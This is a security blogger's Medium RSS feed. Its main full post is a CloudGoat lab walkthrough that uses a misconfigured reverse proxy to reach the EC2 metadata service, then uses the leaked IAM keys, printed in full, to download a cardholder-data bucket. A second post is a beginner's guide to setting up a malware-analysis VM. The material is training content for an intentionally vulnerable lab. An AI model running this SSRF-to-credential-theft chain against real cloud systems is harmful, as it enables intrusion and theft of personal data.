<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Takahiro Oda on Medium]]></title>
        <description><![CDATA[Stories by Takahiro Oda on Medium]]></description>
        <link>https://medium.com/@takahiro-oda?source=rss-63ceb468b47a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*M2TzcGrwRlZB0MJQ</url>
            <title>Stories by Takahiro Oda on Medium</title>
            <link>https://medium.com/@takahiro-oda?source=rss-63ceb468b47a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 03:56:18 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@takahiro-oda/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Security Monitoring Platform in My Home Lab — Series 1 ~Building a Multi-Source Threat Detection…]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://takahiro-oda.medium.com/security-monitoring-platform-in-my-home-lab-series-1-building-a-multi-source-threat-detection-2d751af082da?source=rss-63ceb468b47a------2"><img src="https://cdn-images-1.medium.com/max/1200/0*rlJA8H207metxbfM" width="1200"></a></p><p class="medium-feed-snippet">Security Monitoring Platform in My Home Lab &#x2014; Series 1 ~Building a Multi-Source Threat Detection Engine~</p><p class="medium-feed-link"><a href="https://takahiro-oda.medium.com/security-monitoring-platform-in-my-home-lab-series-1-building-a-multi-source-threat-detection-2d751af082da?source=rss-63ceb468b47a------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://takahiro-oda.medium.com/security-monitoring-platform-in-my-home-lab-series-1-building-a-multi-source-threat-detection-2d751af082da?source=rss-63ceb468b47a------2</link>
            <guid isPermaLink="false">https://medium.com/p/2d751af082da</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[homelab]]></category>
            <category><![CDATA[monitoring]]></category>
            <category><![CDATA[wazuh]]></category>
            <dc:creator><![CDATA[Takahiro Oda]]></dc:creator>
            <pubDate>Sun, 22 Mar 2026 10:04:24 GMT</pubDate>
            <atom:updated>2026-03-22T10:04:24.898Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[[AI Security in My Home Lab] Series 1 ~Building an LLM Red Teaming Pipeline with NVIDIA Garak and…]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-snippet">In this series, you will learn how to build AI Security testing pipeline from scratch in your home lab. Series 1 covers automated LLM&#x2026;</p><p class="medium-feed-link"><a href="https://takahiro-oda.medium.com/ai-security-in-my-home-lab-series-1-building-an-llm-red-teaming-pipeline-with-nvidia-garak-and-618be9ed0413?source=rss-63ceb468b47a------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://takahiro-oda.medium.com/ai-security-in-my-home-lab-series-1-building-an-llm-red-teaming-pipeline-with-nvidia-garak-and-618be9ed0413?source=rss-63ceb468b47a------2</link>
            <guid isPermaLink="false">https://medium.com/p/618be9ed0413</guid>
            <category><![CDATA[ai-security]]></category>
            <dc:creator><![CDATA[Takahiro Oda]]></dc:creator>
            <pubDate>Tue, 17 Mar 2026 10:36:31 GMT</pubDate>
            <atom:updated>2026-03-17T10:36:31.410Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[[Product Security in My Home Lab] Series 1 ~Building an Automated Vulnerability Response Pipeline…]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-snippet">In this series, you will learn how to build a Product Security pipeline in your home lab. Series 1 covers how I automated vulnerability&#x2026;</p><p class="medium-feed-link"><a href="https://takahiro-oda.medium.com/product-security-in-my-home-lab-series-1-building-an-automated-vulnerability-response-pipeline-17a579462805?source=rss-63ceb468b47a------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://takahiro-oda.medium.com/product-security-in-my-home-lab-series-1-building-an-automated-vulnerability-response-pipeline-17a579462805?source=rss-63ceb468b47a------2</link>
            <guid isPermaLink="false">https://medium.com/p/17a579462805</guid>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[github-actions]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability-management]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Takahiro Oda]]></dc:creator>
            <pubDate>Mon, 16 Mar 2026 05:01:29 GMT</pubDate>
            <atom:updated>2026-03-16T05:01:29.107Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[[Detection Engineering in My Home Lab] Series 1 ~Building 20+ Sigma Rules for Multi-Source Threat…]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-snippet">In this series, you will learn how to build a Detection Engineering pipeline from scratch using your home lab. Series 1 covers writing&#x2026;</p><p class="medium-feed-link"><a href="https://takahiro-oda.medium.com/detection-engineering-in-my-home-lab-series-1-building-20-sigma-rules-for-multi-source-threat-614015b067e8?source=rss-63ceb468b47a------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://takahiro-oda.medium.com/detection-engineering-in-my-home-lab-series-1-building-20-sigma-rules-for-multi-source-threat-614015b067e8?source=rss-63ceb468b47a------2</link>
            <guid isPermaLink="false">https://medium.com/p/614015b067e8</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-detection]]></category>
            <dc:creator><![CDATA[Takahiro Oda]]></dc:creator>
            <pubDate>Sun, 15 Mar 2026 11:41:10 GMT</pubDate>
            <atom:updated>2026-03-15T11:41:10.436Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[[OWASP Top 10]: API Security Basics ~Series 1~ Security principles]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://takahiro-oda.medium.com/owasp-top-10-api-security-basics-series-1-security-principles-bdc4b736cbd5?source=rss-63ceb468b47a------2"><img src="https://cdn-images-1.medium.com/max/713/1*T0o-JfPlXkDNv8TDbmfa1Q.png" width="713"></a></p><p class="medium-feed-snippet">We will cover the important security principles for API security standards.</p><p class="medium-feed-link"><a href="https://takahiro-oda.medium.com/owasp-top-10-api-security-basics-series-1-security-principles-bdc4b736cbd5?source=rss-63ceb468b47a------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://takahiro-oda.medium.com/owasp-top-10-api-security-basics-series-1-security-principles-bdc4b736cbd5?source=rss-63ceb468b47a------2</link>
            <guid isPermaLink="false">https://medium.com/p/bdc4b736cbd5</guid>
            <category><![CDATA[api-security]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[api]]></category>
            <dc:creator><![CDATA[Takahiro Oda]]></dc:creator>
            <pubDate>Fri, 11 Mar 2022 06:49:29 GMT</pubDate>
            <atom:updated>2022-03-11T06:52:36.909Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[[Road to Cloud Security Engineer] Series 1 ~Understand Microservices~]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://takahiro-oda.medium.com/road-to-cloud-security-engineer-series-1-understand-microservices-d09c9df593e6?source=rss-63ceb468b47a------2"><img src="https://cdn-images-1.medium.com/max/854/1*oRf8UAMdyACd946tryIP4A.png" width="854"></a></p><p class="medium-feed-snippet">In this series, you will learn how to become a Cloud Security Engineer. Series 1 is to understand Microservices.</p><p class="medium-feed-link"><a href="https://takahiro-oda.medium.com/road-to-cloud-security-engineer-series-1-understand-microservices-d09c9df593e6?source=rss-63ceb468b47a------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://takahiro-oda.medium.com/road-to-cloud-security-engineer-series-1-understand-microservices-d09c9df593e6?source=rss-63ceb468b47a------2</link>
            <guid isPermaLink="false">https://medium.com/p/d09c9df593e6</guid>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[microservices]]></category>
            <dc:creator><![CDATA[Takahiro Oda]]></dc:creator>
            <pubDate>Sun, 06 Mar 2022 23:16:00 GMT</pubDate>
            <atom:updated>2022-03-06T23:16:00.952Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[[OWASP Top 10]: API Security Basics ~Series 2~ Risks and Countermeasures]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://takahiro-oda.medium.com/owasp-top-5-api-security-basics-48950a930e94?source=rss-63ceb468b47a------2"><img src="https://cdn-images-1.medium.com/max/600/1*ux42a1FyztxkhwDq8ERfew.png" width="600"></a></p><p class="medium-feed-snippet">Overview</p><p class="medium-feed-link"><a href="https://takahiro-oda.medium.com/owasp-top-5-api-security-basics-48950a930e94?source=rss-63ceb468b47a------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://takahiro-oda.medium.com/owasp-top-5-api-security-basics-48950a930e94?source=rss-63ceb468b47a------2</link>
            <guid isPermaLink="false">https://medium.com/p/48950a930e94</guid>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[endpoint-security]]></category>
            <category><![CDATA[api-security]]></category>
            <category><![CDATA[api]]></category>
            <category><![CDATA[ethicalhackin]]></category>
            <dc:creator><![CDATA[Takahiro Oda]]></dc:creator>
            <pubDate>Fri, 28 Jan 2022 09:48:09 GMT</pubDate>
            <atom:updated>2022-03-13T06:54:50.481Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[[Offensive security] How toconduct server-side request forgery (SSRF)]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://takahiro-oda.medium.com/offensive-security-how-toconduct-server-side-request-forgery-ssrf-1c5c9ff99505?source=rss-63ceb468b47a------2"><img src="https://cdn-images-1.medium.com/max/962/1*QZURhCehHFCSOMPwE4dCgA.png" width="962"></a></p><p class="medium-feed-snippet">What we will do in this article</p><p class="medium-feed-link"><a href="https://takahiro-oda.medium.com/offensive-security-how-toconduct-server-side-request-forgery-ssrf-1c5c9ff99505?source=rss-63ceb468b47a------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://takahiro-oda.medium.com/offensive-security-how-toconduct-server-side-request-forgery-ssrf-1c5c9ff99505?source=rss-63ceb468b47a------2</link>
            <guid isPermaLink="false">https://medium.com/p/1c5c9ff99505</guid>
            <category><![CDATA[aws-security]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <dc:creator><![CDATA[Takahiro Oda]]></dc:creator>
            <pubDate>Tue, 18 Jan 2022 04:15:25 GMT</pubDate>
            <atom:updated>2022-02-26T06:33:57.667Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[[Offensive security] Let’s steal the confidential files from the misconfigured S3 bucket.]]></title>
            <link>https://takahiro-oda.medium.com/offensive-security-lets-download-the-confidential-files-from-the-s3-bucket-6f5022253774?source=rss-63ceb468b47a------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f5022253774</guid>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[s3-bucket]]></category>
            <category><![CDATA[cloudgoat]]></category>
            <category><![CDATA[security-misconfiguration]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[Takahiro Oda]]></dc:creator>
            <pubDate>Mon, 17 Jan 2022 21:35:08 GMT</pubDate>
            <atom:updated>2022-01-17T21:52:46.981Z</atom:updated>
            <content:encoded><![CDATA[<h3>What we will do in this article</h3><p>1: setup an initial environment using Docker</p><p>2: steal the confidential files from the misconfigured S3 bucket.</p><h3>overview</h3><blockquote>Starting as an anonymous outsider with no access or privileges, exploit a misconfigured reverse-proxy server to query the EC2 metadata service and acquire instance profile keys. Then, use those keys to discover, access, and exfiltrate sensitive data from an S3 bucket.</blockquote><h3>1: setup an initial environment using Docker</h3><p><a href="https://takahiro-oda.medium.com/aws-security-how-to-conduct-a-penetration-testing-using-cloudgoat-dcc358f829b1">[AWS-security]How to gain an admin privilege using CloudGoat</a></p><p>please see how to set up an initial environment here.</p><h3>Scenario: cloud_breach_s3</h3><p>The IP Address of an EC2 server that is running a misconfigured reverse proxy</p><p><strong>Command:</strong> $ ./cloudgoat.py create cloud_breach_s3</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*J62Egg0BUTK-cc1c3L0kpA.png" /></figure><h3>Scenario Goal</h3><p>Download the confidential files from the S3 bucket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*RZIqqmdJNfZz6ZYOY7qmTw.png" /></figure><h3>What we know now</h3><pre>cloudgoat_output_aws_account_id = &quot;362364726861&quot;<br>cloudgoat_output_target_ec2_server_ip = &quot;54.166.247.74&quot;</pre><h3>DEMO</h3><pre>curl <a href="http://54.166.247.74/">http://54.166.247.74</a></pre><p>first, lets see what kind of information I can get</p><pre>&lt;h1&gt;This server is configured to proxy requests to the EC2 metadata service. Please modify your request&#39;s &#39;host&#39; header and try again.&lt;/h1&gt;bash-5.1#</pre><p>Based on the information we get, let’s modify the request’s ‘host’ header!</p><pre>bash-5.1# curl <a href="http://54.166.247.74/">http://54.166.247.74</a> -H &#39;Host:169.254.169.254&#39;</pre><pre><br>1.0<br>2007-01-19<br>2007-03-01<br>2007-08-29<br>2007-10-10<br>2007-12-15<br>2008-02-01<br>2008-09-01<br>2009-04-04<br>2011-01-01<br>2011-05-01<br>2012-01-12<br>2014-02-25<br>2014-11-05<br>2015-10-20<br>2016-04-19<br>2016-06-30<br>2016-09-02<br>2018-03-28<br>2018-08-17<br>2018-09-24<br>2019-10-01<br>2020-10-27<br>2021-01-03<br>2021-03-23<br>2021-07-15</pre><p><a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html">Use instance metadata to manage your EC2 instance</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*a07KUjRkNiH5X0d6NUQO2A.png" /></figure><p>Let’s query EC2 metadata service</p><pre>bash-5.1# curl <a href="http://54.166.247.74/latest/meta-data/iam/security-credentials/">http://54.166.247.74/latest/meta-data/iam/security-credentials/</a> -H &#39;Host:169.254.169.254&#39;</pre><pre><br>cg-banking-WAF-Role-cgid3qq26zlbnkbash-5.1#</pre><p>We can get IAM role name now</p><p>Let’s get credentials based on this role.</p><pre>bash-5.1# curl <a href="http://54.166.247.74/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cgid3qq26zlbnk">http://54.166.247.74/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cgid3qq26zlbnk</a> -H &#39;Host:169.254.169.254&#39;</pre><pre>{<br>  &quot;Code&quot; : &quot;Success&quot;,<br>  &quot;LastUpdated&quot; : &quot;2022-01-17T20:26:57Z&quot;,<br>  &quot;Type&quot; : &quot;AWS-HMAC&quot;,<br>  &quot;AccessKeyId&quot; : &quot;ASIAVIXU65ZGWME5OYV3&quot;,<br>  &quot;SecretAccessKey&quot; : &quot;FBONy6v+wJatW3akJodEX3D1I1txstAlnLIJbdCd&quot;,<br>  &quot;Token&quot; : &quot;IQoJb3JpZ2luX2VjEK3//////////wEaCXVzLWVhc3QtMSJHMEUCIETZRIuKV4k3FwBtOljx7ZkO/wbgub6zFDlCVlRpyJRqAiEAxJe9zYCizyRgWe7k++V2Sd08P8/LzngysPfzVtdQLJAqgwQIxv//////////ARAAGgwzNjIzNjQ3MjY4NjEiDKaDQQ5lh/+OwODvcSrXA8xo7tQ/5AMDZg/2LO6Y0DFsz87CW50rOXdwAE4Iv1wuCIAvw7ejWOP4FUdPLdaBiF9/MJqALVsyPnj1pdkF0aCUNmNqbq04PWVtvCf7nSm0/AzrdgWinHkqzuMbmr9LViZ38oR7foZGLsD1A795vF6SUF6RdKYE7/4FeeQa8BWNaRGIt5EqViOjpeJdt7Z8lUqeUjhsrW8asrdOA38E9x59x9M1yU+BSqwkcObNnKdTZ8wMkG//axps1t6E5knyeDaRCKavNS8Zt2omNrvMWSKxS6tYKoMhwP/+cNeW8qdg2pRH3Ye5Zls0w2Rj9K7Fb8hYRSmxcSxlozlEidxP06HmfCOf57i6i1+S7g0pQ8lig2h/iULPsiW2RgyJtMmSg3epPXhxCPw0S9IKKJ9LRIeeiNh9BkD5rImXLjNuz2Sa5Ycs1Hq0+wimoNf3vOktWwO2L+R40+Utms6/C25fMhOn4ZiNeJryNO8tZIpb5kGxr1pLPpKI2eZIhkT7ElVIkGP9ZQiAE6Xmv/qSXDLso4aQU9DLWjUkgulGytZM9dQJ9n3OF6ZOTR/SR7g1aM5ia5qVeCVnLloQfrGL7lI3m9LXu4EL7YCT0FixosFzHXxp3m77u3MEBzC0opePBjqlAeQ/2FiLQQMAOJTEZXY7+lVgCIiC45GQY/s4roJ8ZcBT23r56YtyQGSufICoj9fxIQNlDkk/ASRcRGXgjtB2v5qk35jV220kb3X7ub+leexre8/euiXzEy/4hpIueQHnFgROK6x9ox8Ihy3XAuf+63ybQFAZseAHHQ+7ZVPqedyyERNWvwEHvCw6jDImd9jQXXMkFXHVCiZEXYmqL93Oju5Tf8sAxQ==&quot;,<br>  &quot;Expiration&quot; : &quot;2022-01-18T03:02:32Z&quot;<br>}bash-5.1#</pre><p>Specially-crafted CURL command is successful, returning the Access Key ID, Secret Access Key, and Session Token of the IAM Instance Profile attached to the EC2 instance.</p><p>Lets exploit the stolen credentials</p><pre><strong>bash-5.1# aws configure --profile hacker</strong></pre><pre>AWS Access Key ID [None]: ASIAVIXU65ZGWME5OYV3<br>AWS Secret Access Key [None]: FBONy6v+wJatW3akJodEX3D1I1txstAlnLIJbdCd<br>Default region name [None]: <br>Default output format [None]: </pre><pre><strong>bash-5.1# vi  ~/.aws/credentials</strong></pre><pre>aws_session_token = IQoJb3JpZ2luX2VjEK3//////////wEaCXVzLWVhc3QtMSJHMEUCIETZRIuKV4k3FwBtOljx7ZkO/wbgub6zFDlCVlRpyJRqAiEAxJe9zYCizyRgWe7k++V2Sd08P8/LzngysPfzVtdQLJAqgwQIxv//////////ARAAGgwzNjIzNjQ3MjY4NjEiDKaDQQ5lh/+OwODvcSrXA8xo7tQ/5AMDZg/2LO6Y0DFsz87CW50rOXdwAE4Iv1wuCIAvw7ejWOP4FUdPLdaBiF9/MJqALVsyPnj1pdkF0aCUNmNqbq04PWVtvCf7nSm0/AzrdgWinHkqzuMbmr9LViZ38oR7foZGLsD1A795vF6SUF6RdKYE7/4FeeQa8BWNaRGIt5EqViOjpeJdt7Z8lUqeUjhsrW8asrdOA38E9x59x9M1yU+BSqwkcObNnKdTZ8wMkG//axps1t6E5knyeDaRCKavNS8Zt2omNrvMWSKxS6tYKoMhwP/+cNeW8qdg2pRH3Ye5Zls0w2Rj9K7Fb8hYRSmxcSxlozlEidxP06HmfCOf57i6i1+S7g0pQ8lig2h/iULPsiW2RgyJtMmSg3epPXhxCPw0S9IKKJ9LRIeeiNh9BkD5rImXLjNuz2Sa5Ycs1Hq0+wimoNf3vOktWwO2L+R40+Utms6/C25fMhOn4ZiNeJryNO8tZIpb5kGxr1pLPpKI2eZIhkT7ElVIkGP9ZQiAE6Xmv/qSXDLso4aQU9DLWjUkgulGytZM9dQJ9n3OF6ZOTR/SR7g1aM5ia5qVeCVnLloQfrGL7lI3m9LXu4EL7YCT0FixosFzHXxp3m77u3MEBzC0opePBjqlAeQ/2FiLQQMAOJTEZXY7+lVgCIiC45GQY/s4roJ8ZcBT23r56YtyQGSufICoj9fxIQNlDkk/ASRcRGXgjtB2v5qk35jV220kb3X7ub+leexre8/euiXzEy/4hpIueQHnFgROK6x9ox8Ihy3XAuf+63ybQFAZseAHHQ+7ZVPqedyyERNWvwEHvCw6jDImd9jQXXMkFXHVCiZEXYmqL93Oju5Tf8sAxQ==</pre><p>With the IAM role’s credentials in hand, we are now able to explore the victim’s cloud environment using the powerful permissions granted to the role.</p><pre>bash-5.1# aws s3 ls --profile hacker</pre><pre><br>2022-01-17 20:26:55 cg-cardholder-data-bucket-cgid3qq26zlbnk</pre><p>Now we can list the s3 buckets</p><pre>bash-5.1# aws s3 sync s3://cg-cardholder-data-bucket-cgid3qq26zlbnk .  --profile hacker</pre><pre><br>download: s3://cg-cardholder-data-bucket-cgid3qq26zlbnk/cardholder_data_primary.csv to ./cardholder_data_primary.csv<br>download: s3://cg-cardholder-data-bucket-cgid3qq26zlbnk/cardholder_data_secondary.csv to ./cardholder_data_secondary.csv<br>download: s3://cg-cardholder-data-bucket-cgid3qq26zlbnk/cardholders_corporate.csv to ./cardholders_corporate.csv<br>download: s3://cg-cardholder-data-bucket-cgid3qq26zlbnk/goat.png to ./goat.png</pre><p>We downloaded the credentials from the misconfigured s3 buckets.</p><pre>bash-5.1# cat cardholder_data_primary.csv </pre><pre><br>ssn,id,first_name,last_name,email,gender,ip_address,address,city,state,zip<br><a href="/service/mailto:287-43-8531,1,Cooper,Luffman,cluffman0@nifty.com">287-43-8531,1,Coo</a></pre><p>Yes, we did it!!</p><h3>Cleanup</h3><pre>bash-5.1# ./cloudgoat.py destroy cloud_breach_s3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*B5loyElQXoYH7l2x8uGjxQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f5022253774" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Malware Analysis Bootcamp] Let’s start your first malware analysis!!]]></title>
            <link>https://takahiro-oda.medium.com/malware-analysis-bootcamp-d4ef66a04a34?source=rss-63ceb468b47a------2</link>
            <guid isPermaLink="false">https://medium.com/p/d4ef66a04a34</guid>
            <category><![CDATA[bootcamp]]></category>
            <category><![CDATA[fireeye]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[virustotal]]></category>
            <dc:creator><![CDATA[Takahiro Oda]]></dc:creator>
            <pubDate>Mon, 17 Jan 2022 02:48:36 GMT</pubDate>
            <atom:updated>2022-01-17T04:51:38.145Z</atom:updated>
            <content:encoded><![CDATA[<h3>What Is Malware Analysis?</h3><blockquote>Malware analysis is the process of analyzing a malware sample/binary and extracting to understand the scope of the functionality of the Malware, how the system was infected with the malware and how to defend against similar attacks</blockquote><h3>Objectives of malware analysis</h3><ul><li>To understand the type of malware and the entire scope of what it can do (functionality). Is it a Keylogger, RAT or Ransomware</li><li>How the system was infected with the malware. Is it a targeted attack or a phishing attack?</li><li>How it communicates with the attacker.</li><li>To exfiltrate useful indicators like registry entries/keys and filenames for the purpose generating signatures that can be used to detect future detection.</li></ul><h3>Types Of Malware Analysis</h3><ul><li><strong>Static analysis</strong> — Is the process of analyzing malware without executing or running it. The objective is to extract as much metadata from the malware as possible. Example; strings, PE headers.</li><li><strong>Dynamic analysis </strong>— Is the process of executing malware and analyzing it’s functionality and behavior. The objective is to understand exactly how and what the malware does during the execution. This is done in a debugger.</li><li><strong>Code Analysis</strong> — Is the process of analyzing/reverse engineering assembly code. This can be both statically and dynamically done (Static and dynamic code analysis)</li><li><strong>Behavioural analysis</strong> — Is the process of analyzing and monitoring the malware after execution. It involves monitoring the processes, registry entries and network monitoring to determine the workings of the malware.</li></ul><h3>Malware response process</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OPrEcnyxGOQ7-EkP6MI8Vw.png" /></figure><ul><li>Detection &gt; Log analysis (Splunk, Kibana)</li><li>Collection &gt; memory dump (DumpIt, Redline), Disk image (FTK imager), Packet capturing (WireShark)</li><li>Investigation &gt; Windows Forensics (Autopsy) (Master File Table, Change logs, Volume Shadow Copies, Prefetch, Event Logs, data streams, registry Hives) &gt; Memory Forensics (Volatility)</li><li>Malware analysis &gt; Basic static, Behavioural, Dynamic Analysis</li><li>Containment</li><li>Remediation</li><li>Reporting</li></ul><h3>Security operations</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oSYLLdQzpYVDRbe9tfgLoA.png" /></figure><h3>Security roles</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hdYAuxWDaC_uUBHAHFYA6A.png" /></figure><h3>Threat Hunting</h3><ul><li>proactive validation of the incident without an incident.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*3QJIw7UxMKhIiCAi3QZmJQ.png" /></figure><ul><li>types</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P2LKLB4ggtU-Tn3Rf9Q5PQ.png" /></figure><h3>Setting Up Our Environment</h3><ul><li>Hypervisor — VirtualBox or VMware</li><li>Windows 10 VM 32/64bit — 64 bit preferable.</li><li>FLARE VM — Windows malware analysis distribution</li></ul><h3>Security guidelines</h3><ul><li>Keep your Hypervisor updated.</li><li>When executing malware ensure your network configuration is set to host-only.</li><li>Do not plug any USB devices into the VM.</li><li>Make sure you download compressed and password-protected samples to avoid accidental execution.</li><li>Take snapshots!</li><li>Do not store any valuable data on your analysis VM.</li><li>Disable shared folders, before execution or analysis.</li></ul><h3>Tools &amp; links</h3><ul><li>Windows VM’s: <a href="https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/">https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/</a></li><li>Fireye installation guide</li><li>Github Repository: <a href="https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqbXBZNkdJOUhpWFgwZDE1MmJXQndHN0YwOURfd3xBQ3Jtc0tuc1dzWk5tMWZwQ1NxMFVjNEliWE9XRjdTZU50LXpXaFBLWkE5OGNfc1MxdlozakZ4RGNITS1wQ0JwWk1IX1JIZVJuQWNkcWtib1ZGbHN1STZESG1DNzBnRXhoZmJfVWVWd3VLajVWZ2ROS1YxQl9jYw&amp;q=https%3A%2F%2Fgithub.com%2Ffireeye%2Fflare-vm">https://github.com/fireeye/flare-vm</a></li></ul><h3>Download Virtual Machines</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*SUbWibg4nU-_WS-TYnz7Og.png" /></figure><p>The size is 4.7 G so it takes time to download.</p><p>Extract it and double click ovf file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*N6L4xVP5EprXvpcsixCImQ.png" /></figure><p>You are asked to set up. Click import</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*Xo55xTI4KN1TdQUsEp_ITw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/290/1*fylYug9spZX78pnWUKGa7A.png" /></figure><p>Lets configure network settings</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*JbcTBG9X2XU1eCHatN7JsA.png" /></figure><p>click settings and network</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*LKcWicUtqJTudGTEGip4zQ.png" /></figure><p>Shared folders &gt; set up your desktop path #</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*zcCazza3vY6R_0M2liaKcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/399/1*F1meh488mDb3ezOZbMdRNg.png" /></figure><p>Lets start</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*VNeSaUPgg-vxvzfPQF1gfQ.png" /></figure><h3>Download flare-vm</h3><p><a href="https://github.com/mandiant/flare-vm">https://github.com/mandiant/flare-vm</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*Lx9Gf4xi5wviHXGxFblMMA.png" /></figure><p>Dowload the zip file and move it to your desktop.</p><ul><li>Create and configure a new Windows Virtual Machine</li><li>Allow for a total of 50–60 GB disk storage (including OS)</li><li>Ensure VM is updated completely. You may have to check for updates, reboot, and check again until no more remain</li><li>Install .NET 4.5 and WMF 5.1 from the following links:</li><li>.NET 4.5 <a href="https://www.microsoft.com/en-us/download/details.aspx?id=30653">https://www.microsoft.com/en-us/download/details.aspx?id=30653</a></li><li>WMF 5.1 <a href="https://www.microsoft.com/en-us/download/details.aspx?id=54616">https://www.microsoft.com/en-us/download/details.aspx?id=54616</a></li><li>Make sure you restart the VM to complete the installation</li><li>Take a snapshot of your machine!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*hvuGYP5F4urR4R5AeEjdfA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/1*1E46uOoor25ni7zy7vPCmg.png" /></figure><p>After moving the zip file to VM, you can remove shared folder settings.</p><p>Right-click the zip &gt; extract all</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*JYCZmZTvhLdnG_OPrNYdyg.png" /></figure><p>#In this stage, lets take snapshot. Machine &gt; take snapshot</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*co8YE42uy62VQWtHsEdecA.png" /></figure><p>Open powershell as admin</p><h3>Stop Windows update and defender</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*K2ieLC8_hhBejfYXuT3qXw.png" /></figure><p>Type services</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*MvdeumJBnZtCsDosWus23w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*kLRe2Crcrw9UdOvfd8XJog.png" /></figure><p>Disable it and click stop</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*LReVFACwnYw81EfcUFI-iQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*zEJwQGsRklCysBzh0re_Zg.png" 